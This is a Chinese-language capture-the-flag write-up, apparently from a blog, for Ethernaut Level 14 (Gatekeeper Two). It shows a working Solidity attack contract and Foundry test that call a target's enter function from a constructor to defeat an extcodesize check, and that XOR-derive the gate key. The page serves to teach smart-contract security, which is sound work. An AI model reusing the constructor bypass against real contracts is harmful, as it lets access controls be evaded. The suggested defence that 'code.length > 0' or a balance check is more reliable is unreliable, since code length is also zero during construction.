当前位置: 首页 > news >正文

Ethernaut Level 14: Gatekeeper Two - 合约创建时的 extcodesize

🎯 Ethernaut Level 14: Gatekeeper Two - 合约创建时的 extcodesize

关卡链接: Ethernaut Level 14 - Gatekeeper Two
攻击类型: extcodesize / constructor 交互
难度: ⭐⭐⭐⭐☆

📋 挑战目标

与上一关类似,我们需要再次通过三个 modifier 的检查,成为 entrant

Gatekeeper Two Challenge

🔍 漏洞分析

要通过此关卡,我们需要调用 enter(bytes8 _gateKey) 函数,并绕过它的三个 modifier

Modifier 1: gateOne

modifier gateOne() {require(msg.sender != tx.origin);_;
}

与第13关完全相同。我们需要通过一个中间合约来调用 enter 函数,以确保 msg.sender 是合约地址,而 tx.origin 是我们的EOA地址。

Modifier 2: gateTwo

modifier gateTwo() {uint x;assembly {x := extcodesize(caller())}require(x == 0);_;
}

这个 modifier 使用内联汇编检查 caller()extcodesize 是否为0。caller() 返回的是直接调用者的地址(在我们的场景中,就是攻击合约的地址),而 extcodesize 返回该地址关联的代码大小。

  • 如果调用者是一个已经部署的合约,extcodesize 会返回一个大于0的值。
  • 如果调用者是一个外部账户(EOA),extcodesize 返回0。

这与 gateOne 的要求(msg.sender 必须是合约)产生了矛盾。我们如何才能让一个合约地址的 extcodesize 为0呢?

答案在于合约的创建过程:当一个合约的 constructor 正在执行时,该合约的代码尚未完全部署到链上,因此此时对该合约地址调用 extcodesize 会返回0。

因此,我们必须在攻击合约的 constructor 内部调用目标合约的 enter 函数。

Modifier 3: gateThree

modifier gateThree(bytes8 _gateKey) {require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);_;
}

这个 modifier 包含一个有趣的异或(XOR)逻辑。让我们简化一下:

A ^ B = C

其中:

  • Auint64(bytes8(keccak256(abi.encodePacked(msg.sender))))
  • Buint64(_gateKey)
  • Ctype(uint64).max (即 0xFFFFFFFFFFFFFFFF)

根据异或运算的性质,如果 A ^ B = C,那么 A ^ C = B

因此,我们可以通过计算 A ^ C 来得到我们需要的 _gateKey

_gateKey = uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ type(uint64).max

由于 msg.sender 是我们的攻击合约地址,我们可以在攻击合约的 constructor 中计算出这个值。

💻 Foundry 实现

攻击合约代码

我们的攻击合约非常简洁。它在 constructor 中完成所有的工作:计算 gateKey 并立即调用目标实例的 enter 函数。

// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;import "forge-std/Test.sol";
import "src/14_GatekeeperTwo.sol";// Foundry 测试合约
contract GatekeeperTwoTest is Test {GatekeeperTwo instance;Attack attacker;address player1;function setUp() public {player1 = vm.addr(1);instance = new GatekeeperTwo();}function testAttacker() public {vm.startPrank(player1, player1);// 部署攻击合约时,其构造函数会自动执行攻击attacker = new Attack(address(instance));// 验证攻击是否成功assertEq(instance.entrant(), player1);vm.stopPrank();}
}// 攻击合约
contract Attack {constructor(address _instanceAddress) {GatekeeperTwo instance = GatekeeperTwo(_instanceAddress);// 计算 gateKey// A ^ C = Buint64 keyPart = uint64(bytes8(keccak256(abi.encodePacked(address(this)))));uint64 max_uint = type(uint64).max; // 0xFFFFFFFFFFFFFFFFbytes8 gateKey = bytes8(keyPart ^ max_uint);// 在构造函数中调用 enter 函数instance.enter(gateKey);}
}

关键攻击步骤

  1. 创建攻击合约: 攻击逻辑完全包含在 constructor 中。
  2. constructor 中调用: 这是关键。在 constructor 中调用 enter 函数,此时 extcodesize(address(this)) 为0,绕过了 gateTwo
  3. 计算 _gateKey: 在 constructor 中,使用 address(this) 作为 msg.sender 来计算 keccak256 哈希,并通过XOR运算得到正确的 _gateKey,从而绕过 gateThree
  4. 部署即攻击: 部署攻击合约的交易一旦成功,攻击就完成了,entrant 将被设置为我们的EOA地址。

🛡️ 防御措施

  1. 避免使用 extcodesize 进行合约检查: 正如本例所示,extcodesize 可以被 constructor 调用绕过。一个更可靠的检查方法是判断 address.balance > 0 或者 address.code.length > 0(在Solidity 0.8.10及更高版本中)。
  2. caller 的额外检查: 如果确实需要阻止合约调用,可以结合 tx.origin == msg.sender 的检查,但这会限制合约的可组合性。
  3. 简化密钥验证: 复杂的密钥派生逻辑(如本例中的XOR)可能看起来安全,但如果所有输入都来自链上,攻击者通常可以逆向工程出正确的密钥。应使用链下签名等更安全的机制。

🔧 相关工具和技术

  • constructor: 合约的构造函数,仅在合约部署时执行一次。理解其在生命周期中的特殊性(如 extcodesize 为0)是解决此类挑战的关键。
  • extcodesize: 一个EVM操作码,用于获取地址的代码大小。是区分EOA和合约的常用方法,但有其局限性。
  • 异或运算 (^): 一种位运算符,在密码学和哈希操作中很常见。理解其 A ^ B = C <=> A ^ C = B 的性质对于解决 gateThree 至关重要。

🎯 总结

核心概念:

  • 合约在 constructor 执行期间的代码大小(extcodesize)为0。
  • caller()address(this) 在特定上下文中的区别和联系。
  • 异或(XOR)运算的可逆性是解决密码学相关谜题的常用工具。

攻击向量:

  • 利用 constructor 的特性绕过 extcodesize 检查。
  • constructor 中完成所有攻击步骤,实现“部署即攻击”。
  • 逆向工程XOR逻辑以计算出所需的密钥。

防御策略:

  • 不要依赖 extcodesize 来判断一个地址是否为合约。
  • 设计更简单、更直接的验证机制,避免模糊的链上密钥派生。

📚 参考资料

  • Solidity Docs: extcodesize Caveats
  • Understanding the EVM: Opcodes

🔗 相关链接

  • 原文
  • GitHub 项目

在智能合约的世界中,最简单的漏洞往往隐藏着最深刻的安全教训。 🎓

http://www.dtcms.com/a/537121.html

相关文章:

  • 网页网站建设难吗深圳网络营销推广公司
  • 东莞网站开发深圳做网站做app
  • 18.矩阵置零(原地算法)
  • Lambda表达式的使用
  • Pinterest Data Scientist 面试经验分享|数据分析 + 实验设计 + 产品洞察并重
  • 重庆璧山网站建设营销型网站的建设流程
  • 做网站用什么软件ps字体文化公司网页设计
  • 【Linux网络】实现简单的英译汉网络字典
  • 管理信息系统与网站建设有什么区别wordpress 网页模块错位
  • ansible实战-不同的用户登录不同的主机
  • 电子电气架构 ---汽车产业数字化发展背景
  • 开源Wiki系统基础知识点及避坑要点
  • 做logo专用的网站是哪个可以上传图片的公司网站
  • 网站建设企业网站制作品牌网站怎么做seo
  • K8s学习笔记(二十二) 网络组件 Flannel与Calico
  • HBM = High Bandwidth Memory(高带宽显存)
  • kali安装nessus
  • Kuboard部署服务
  • 如何做网站调研如何用ps做网站效果图
  • 网站建设与管理专业好找工作吗做网站有一个火箭回顶部
  • grafana dashboard 监控 json 文件 uid 长度限制
  • 【向量检索与RAG全流程解析】HNSW原理、实践及阿里云灵积DashScope嵌入
  • 个人备案怎么做旅游网站wordpress模板下载
  • (107页PPT)企业数字化转型规划设计(附下载方式)
  • 空间数据采集与管理
  • leetcode 268. 丢失的数字 python
  • 使用Python实现播放“.gif”文件增强版
  • 论述网站建设的具体步骤有哪些网站管理与建设教程
  • OpenAI首款AI浏览器Atlas上线仅一周即被恶意提示词攻破
  • Dompdf库html生成pdf时editor编辑器中文本长度被截断不会自动换行问题处理